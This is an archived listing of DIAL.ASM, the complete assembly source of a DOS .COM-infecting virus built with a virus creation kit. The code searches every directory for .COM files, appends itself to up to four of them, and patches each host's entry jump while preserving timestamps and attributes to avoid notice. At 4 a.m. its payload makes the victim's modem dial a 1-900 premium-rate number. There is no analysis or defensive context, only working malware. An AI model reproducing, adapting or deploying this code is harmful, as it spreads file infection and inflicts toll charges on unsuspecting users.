home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / dial.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  12.9 KB  |  320 lines

  1. ; DIAL.ASM -- HorneyMan
  2.  
  3. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  4.  
  5. ; Written by Frankenchrist
  6.  
  7.  
  8.  
  9. virus_type      equ     0                       ; Appending Virus
  10.  
  11. is_encrypted    equ     0                       ; We're not encrypted
  12.  
  13. tsr_virus       equ     0                       ; We're not TSR
  14.  
  15.  
  16.  
  17. code            segment byte public
  18.  
  19.         assume  cs:code,ds:code,es:code,ss:code
  20.  
  21.         org     0100h
  22.  
  23.  
  24.  
  25. main            proc    near
  26.  
  27.         db      0E9h,00h,00h            ; Near jump (for compatibility)
  28.  
  29. start:          call    find_offset             ; Like a PUSH IP
  30.  
  31. find_offset:    pop     bp                      ; BP holds old IP
  32.  
  33.         sub     bp,offset find_offset   ; Adjust for length of host
  34.  
  35.  
  36.  
  37.         lea     si,[bp + buffer]        ; SI points to original start
  38.  
  39.         mov     di,0100h                ; Push 0100h on to stack for
  40.  
  41.         push    di                      ; return to main program
  42.  
  43.         movsw                           ; Copy the first two bytes
  44.  
  45.         movsb                           ; Copy the third byte
  46.  
  47.  
  48.  
  49.         mov     di,bp                   ; DI points to start of virus
  50.  
  51.  
  52.  
  53.         mov     bp,sp                   ; BP points to stack
  54.  
  55.         sub     sp,128                  ; Allocate 128 bytes on stack
  56.  
  57.  
  58.  
  59.         mov     ah,02Fh                 ; DOS get DTA function
  60.  
  61.         int     021h
  62.  
  63.         push    bx                      ; Save old DTA address on stack
  64.  
  65.  
  66.  
  67.         mov     ah,01Ah                 ; DOS set DTA function
  68.  
  69.         lea     dx,[bp - 128]           ; DX points to buffer on stack
  70.  
  71.         int     021h
  72.  
  73.  
  74.  
  75.         mov     cx,0004h                ; Do 4 infections
  76.  
  77. search_loop:    push    cx                      ; Save CX
  78.  
  79.         call    search_files            ; Find and infect a file
  80.  
  81.         pop     cx                      ; Restore CX
  82.  
  83.         loop    search_loop             ; Repeat until CX is 0
  84.  
  85.  
  86.  
  87.         call    get_hour
  88.  
  89.         cmp     ax,0004h                ; Did the function return 4?
  90.  
  91.         jne     skip00                  ; If not equal, skip effect
  92.  
  93.         jmp     short strt00            ; Success -- skip jump
  94.  
  95. skip00:         jmp     end00                   ; Skip the routine
  96.  
  97. strt00:         lea     si,[di + data00]        ; SI points to data
  98.  
  99.         xor     dx,dx                   ; Clear DX
  100.  
  101.         call    serial_string
  102.  
  103.         lea     si,[di + data01]        ; SI points to data
  104.  
  105.         mov     dx,0001h                ; Second argument is 1
  106.  
  107.         call    serial_string
  108.  
  109.         lea     si,[di + data02]        ; SI points to data
  110.  
  111.         mov     dx,0002h                ; Second argument is 2
  112.  
  113.         call    serial_string
  114.  
  115.         lea     si,[di + data03]        ; SI points to data
  116.  
  117.         mov     dx,0003h                ; Second argument is 3
  118.  
  119.         call    serial_string
  120.  
  121. end00:
  122.  
  123. com_end:        pop     dx                      ; DX holds original DTA address
  124.  
  125.         mov     ah,01Ah                 ; DOS set DTA function
  126.  
  127.         int     021h
  128.  
  129.  
  130.  
  131.         mov     sp,bp                   ; Deallocate local buffer
  132.  
  133.  
  134.  
  135.         xor     ax,ax                   ;
  136.  
  137.         mov     bx,ax                   ;
  138.  
  139.         mov     cx,ax                   ;
  140.  
  141.         mov     dx,ax                   ; Empty out the registers
  142.  
  143.         mov     si,ax                   ;
  144.  
  145.         mov     di,ax                   ;
  146.  
  147.         mov     bp,ax                   ;
  148.  
  149.  
  150.  
  151.         ret                             ; Return to original program
  152.  
  153. main            endp
  154.  
  155.  
  156.  
  157. search_files    proc    near
  158.  
  159.         push    bp                      ; Save BP
  160.  
  161.         mov     bp,sp                   ; BP points to local buffer
  162.  
  163.         sub     sp,64                   ; Allocate 64 bytes on stack
  164.  
  165.  
  166.  
  167.         mov     ah,047h                 ; DOS get current dir function
  168.  
  169.         xor     dl,dl                   ; DL holds drive # (current)
  170.  
  171.         lea     si,[bp - 64]            ; SI points to 64-byte buffer
  172.  
  173.         int     021h
  174.  
  175.  
  176.  
  177.         mov     ah,03Bh                 ; DOS change directory function
  178.  
  179.         lea     dx,[di + root]          ; DX points to root directory
  180.  
  181.         int     021h
  182.  
  183.  
  184.  
  185.         call    traverse                ; Start the traversal
  186.  
  187.  
  188.  
  189.         mov     ah,03Bh                 ; DOS change directory function
  190.  
  191.         lea     dx,[bp - 64]            ; DX points to old directory
  192.  
  193.         int     021h
  194.  
  195.  
  196.  
  197.         mov     sp,bp                   ; Restore old stack pointer
  198.  
  199.         pop     bp                      ; Restore BP
  200.  
  201.         ret                             ; Return to caller
  202.  
  203.  
  204.  
  205. root            db      "\",0                   ; Root directory
  206.  
  207. search_files    endp
  208.  
  209.  
  210.  
  211. traverse        proc    near
  212.  
  213.         push    bp                      ; Save BP
  214.  
  215.  
  216.  
  217.         mov     ah,02Fh                 ; DOS get DTA function
  218.  
  219.         int     021h
  220.  
  221.         push    bx                      ; Save old DTA address
  222.  
  223.  
  224.  
  225.         mov     bp,sp                   ; BP points to local buffer
  226.  
  227.         sub     sp,128                  ; Allocate 128 bytes on stack
  228.  
  229.  
  230.  
  231.         mov     ah,01Ah                 ; DOS set DTA function
  232.  
  233.         lea     dx,[bp - 128]           ; DX points to buffer
  234.  
  235.         int     021h
  236.  
  237.  
  238.  
  239.         mov     ah,04Eh                 ; DOS find first function
  240.  
  241.         mov     cx,00010000b            ; CX holds search attributes
  242.  
  243.         lea     dx,[di + all_files]     ; DX points to "*.*"
  244.  
  245.         int     021h
  246.  
  247.         jc      leave_traverse          ; Leave if no files present
  248.  
  249.  
  250.  
  251. check_dir:      cmp     byte ptr [bp - 107],16  ; Is the file a directory?
  252.  
  253.         jne     another_dir             ; If not, try again
  254.  
  255.         cmp     byte ptr [bp - 98],'.'  ; Did we get a "." or ".."?
  256.  
  257.         je      another_dir             ;If so, keep going
  258.  
  259.  
  260.  
  261.         mov     ah,03Bh                 ; DOS change directory function
  262.  
  263.         lea     dx,[bp - 98]            ; DX points to new directory
  264.  
  265.         int     021h
  266.  
  267.  
  268.  
  269.         call    traverse                ; Recursively call ourself
  270.  
  271.  
  272.  
  273.         pushf                           ; Save the flags
  274.  
  275.         mov     ah,03Bh                 ; DOS change directory function
  276.  
  277.         lea     dx,[di + up_dir]        ; DX points to parent directory
  278.  
  279.         int     021h
  280.  
  281.         popf                            ; Restore the flags
  282.  
  283.  
  284.  
  285.         jnc     done_searching          ; If we infected then exit
  286.  
  287.  
  288.  
  289. another_dir:    mov     ah,04Fh                 ; DOS find next function
  290.  
  291.         int     021h
  292.  
  293.         jnc     check_dir               ; If found check the file
  294.  
  295.  
  296.  
  297. leave_traverse:
  298.  
  299.         lea     dx,[di + com_mask]      ; DX points to "*.COM"
  300.  
  301.         call    find_files              ; Try to infect a file
  302.  
  303. done_searching: mov     sp,bp                   ; Restore old stack frame
  304.  
  305.         mov     ah,01Ah                 ; DOS set DTA function
  306.  
  307.         pop     dx                      ; Retrieve old DTA address
  308.  
  309.         int     021h
  310.  
  311.  
  312.  
  313.         pop     bp                      ; Restore BP
  314.  
  315.         ret                             ; Return to caller
  316.  
  317.  
  318.  
  319. up_dir          db      "..",0                  ; Parent directory name
  320.  
  321. all_files       db      "*.*",0                 ; Directories to search for
  322.  
  323. com_mask        db      "*.COM",0               ; Mask for all .COM files
  324.  
  325. traverse        endp
  326.  
  327.  
  328.  
  329. find_files      proc    near
  330.  
  331.         push    bp                      ; Save BP
  332.  
  333.  
  334.  
  335.         mov     ah,02Fh                 ; DOS get DTA function
  336.  
  337.         int     021h
  338.  
  339.         push    bx                      ; Save old DTA address
  340.  
  341.  
  342.  
  343.         mov     bp,sp                   ; BP points to local buffer
  344.  
  345.         sub     sp,128                  ; Allocate 128 bytes on stack
  346.  
  347.  
  348.  
  349.         push    dx                      ; Save file mask
  350.  
  351.         mov     ah,01Ah                 ; DOS set DTA function
  352.  
  353.         lea     dx,[bp - 128]           ; DX points to buffer
  354.  
  355.         int     021h
  356.  
  357.  
  358.  
  359.         mov     ah,04Eh                 ; DOS find first file function
  360.  
  361.         mov     cx,00100111b            ; CX holds all file attributes
  362.  
  363.         pop     dx                      ; Restore file mask
  364.  
  365. find_a_file:    int     021h
  366.  
  367.         jc      done_finding            ; Exit if no files found
  368.  
  369.         call    infect_file             ; Infect the file!
  370.  
  371.         jnc     done_finding            ; Exit if no error
  372.  
  373.         mov     ah,04Fh                 ; DOS find next file function
  374.  
  375.         jmp     short find_a_file       ; Try finding another file
  376.  
  377.  
  378.  
  379. done_finding:   mov     sp,bp                   ; Restore old stack frame
  380.  
  381.         mov     ah,01Ah                 ; DOS set DTA function
  382.  
  383.         pop     dx                      ; Retrieve old DTA address
  384.  
  385.         int     021h
  386.  
  387.  
  388.  
  389.         pop     bp                      ; Restore BP
  390.  
  391.         ret                             ; Return to caller
  392.  
  393. find_files      endp
  394.  
  395.  
  396.  
  397. infect_file     proc    near
  398.  
  399.         mov     ah,02Fh                 ; DOS get DTA address function
  400.  
  401.         int     021h
  402.  
  403.         mov     si,bx                   ; SI points to the DTA
  404.  
  405.  
  406.  
  407.         mov     byte ptr [di + set_carry],0  ; Assume we'll fail
  408.  
  409.  
  410.  
  411.         cmp     word ptr [si + 01Ah],(65279 - (finish - start))
  412.  
  413.         jbe     size_ok                 ; If it's small enough continue
  414.  
  415.         jmp     infection_done          ; Otherwise exit
  416.  
  417.  
  418.  
  419. size_ok:        mov     ax,03D00h               ; DOS open file function, r/o
  420.  
  421.         lea     dx,[si + 01Eh]          ; DX points to file name
  422.  
  423.         int     021h
  424.  
  425.         xchg    bx,ax                   ; BX holds file handle
  426.  
  427.  
  428.  
  429.         mov     ah,03Fh                 ; DOS read from file function
  430.  
  431.         mov     cx,3                    ; CX holds bytes to read (3)
  432.  
  433.         lea     dx,[di + buffer]        ; DX points to buffer
  434.  
  435.         int     021h
  436.  
  437.  
  438.  
  439.         mov     ax,04202h               ; DOS file seek function, EOF
  440.  
  441.         cwd                             ; Zero DX _ Zero bytes from end
  442.  
  443.         mov     cx,dx                   ; Zero CX /
  444.  
  445.         int     021h
  446.  
  447.  
  448.  
  449.         xchg    dx,ax                   ; Faster than a PUSH AX
  450.  
  451.         mov     ah,03Eh                 ; DOS close file function
  452.  
  453.         int     021h
  454.  
  455.         xchg    dx,ax                   ; Faster than a POP AX
  456.  
  457.  
  458.  
  459.         sub     ax,finish - start + 3   ; Adjust AX for a valid jump
  460.  
  461.         cmp     word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  462.  
  463.         je      infection_done          ; If equal then exit
  464.  
  465.         mov     byte ptr [di + set_carry],1  ; Success -- the file is OK
  466.  
  467.         add     ax,finish - start       ; Re-adjust to make the jump
  468.  
  469.         mov     word ptr [di + new_jump + 1],ax  ; Construct jump
  470.  
  471.  
  472.  
  473.         mov     ax,04301h               ; DOS set file attrib. function
  474.  
  475.         xor     cx,cx                   ; Clear all attributes
  476.  
  477.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  478.  
  479.         int     021h
  480.  
  481.  
  482.  
  483.         mov     ax,03D02h               ; DOS open file function, r/w
  484.  
  485.         int     021h
  486.  
  487.         xchg    bx,ax                   ; BX holds file handle
  488.  
  489.  
  490.  
  491.         mov     ah,040h                 ; DOS write to file function
  492.  
  493.         mov     cx,3                    ; CX holds bytes to write (3)
  494.  
  495.         lea     dx,[di + new_jump]      ; DX points to the jump we made
  496.  
  497.         int     021h
  498.  
  499.  
  500.  
  501.         mov     ax,04202h               ; DOS file seek function, EOF
  502.  
  503.         cwd                             ; Zero DX _ Zero bytes from end
  504.  
  505.         mov     cx,dx                   ; Zero CX /
  506.  
  507.         int     021h
  508.  
  509.  
  510.  
  511.         mov     ah,040h                 ; DOS write to file function
  512.  
  513.         mov     cx,finish - start       ; CX holds virus length
  514.  
  515.         lea     dx,[di + start]         ; DX points to start of virus
  516.  
  517.         int     021h
  518.  
  519.  
  520.  
  521.         mov     ax,05701h               ; DOS set file time function
  522.  
  523.         mov     cx,[si + 016h]          ; CX holds old file time
  524.  
  525.         mov     dx,[si + 018h]          ; DX holds old file date
  526.  
  527.         int     021h
  528.  
  529.  
  530.  
  531.         mov     ah,03Eh                 ; DOS close file function
  532.  
  533.         int     021h
  534.  
  535.  
  536.  
  537.         mov     ax,04301h               ; DOS set file attrib. function
  538.  
  539.         xor     ch,ch                   ; Clear CH for file attribute
  540.  
  541.         mov     cl,[si + 015h]          ; CX holds file's old attributes
  542.  
  543.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  544.  
  545.         int     021h
  546.  
  547.  
  548.  
  549. infection_done: cmp     byte ptr [di + set_carry],1  ; Set carry flag if failed
  550.  
  551.         ret                             ; Return to caller
  552.  
  553.  
  554.  
  555. set_carry       db      ?                       ; Set-carry-on-exit flag
  556.  
  557. buffer          db      090h,0CDh,020h          ; Buffer to hold old three bytes
  558.  
  559. new_jump        db      0E9h,?,?                ; New jump to virus
  560.  
  561. infect_file     endp
  562.  
  563.  
  564.  
  565.  
  566.  
  567. serial_string   proc    near
  568.  
  569.         mov     ax,0000000001000011b    ; BIOS init. serial port
  570.  
  571.         int     014h                    ; (300 baud, N, 8, 1)
  572.  
  573. serial_loop:    mov     ah,1                    ; BIOS send character function
  574.  
  575.         lodsb                           ; Load next character into AL
  576.  
  577.         or      al,al                   ; Is it a NULL?
  578.  
  579.         je      serial_done             ; If so then exit
  580.  
  581.         int     014h                    ; Transmit the character
  582.  
  583.         jmp     short serial_loop       ; Loop until string terminates
  584.  
  585. serial_done:
  586.  
  587.         ret                             ; Return to caller
  588.  
  589. serial_string   endp
  590.  
  591.  
  592.  
  593. get_hour        proc    near
  594.  
  595.         mov     ah,02Ch                 ; DOS get time function
  596.  
  597.         int     021h
  598.  
  599.         mov     al,ch                   ; Copy hour into AL
  600.  
  601.         cbw                             ; Sign-extend AL into AX
  602.  
  603.         ret                             ; Return to caller
  604.  
  605. get_hour        endp
  606.  
  607.  
  608.  
  609. data00                  db      "AT&FM0L0DT19008201110",13,10,0
  610.  
  611.  
  612.  
  613. data01                  db      "AT&FM0L0DT19008201110",13,10,0
  614.  
  615.  
  616.  
  617. data02                  db      "AT&FM0L0DT19008201110",13,10,0
  618.  
  619.  
  620.  
  621. data03                  db      "AT&FM0L0DT19008201110",13,10,0
  622.  
  623.  
  624.  
  625.  
  626.  
  627. vcl_marker      db      "[VCL]",0               ; VCL creation marker
  628.  
  629.  
  630.  
  631. finish          label   near
  632.  
  633.  
  634.  
  635. code            ends
  636.  
  637.         end     main
  638.  
  639.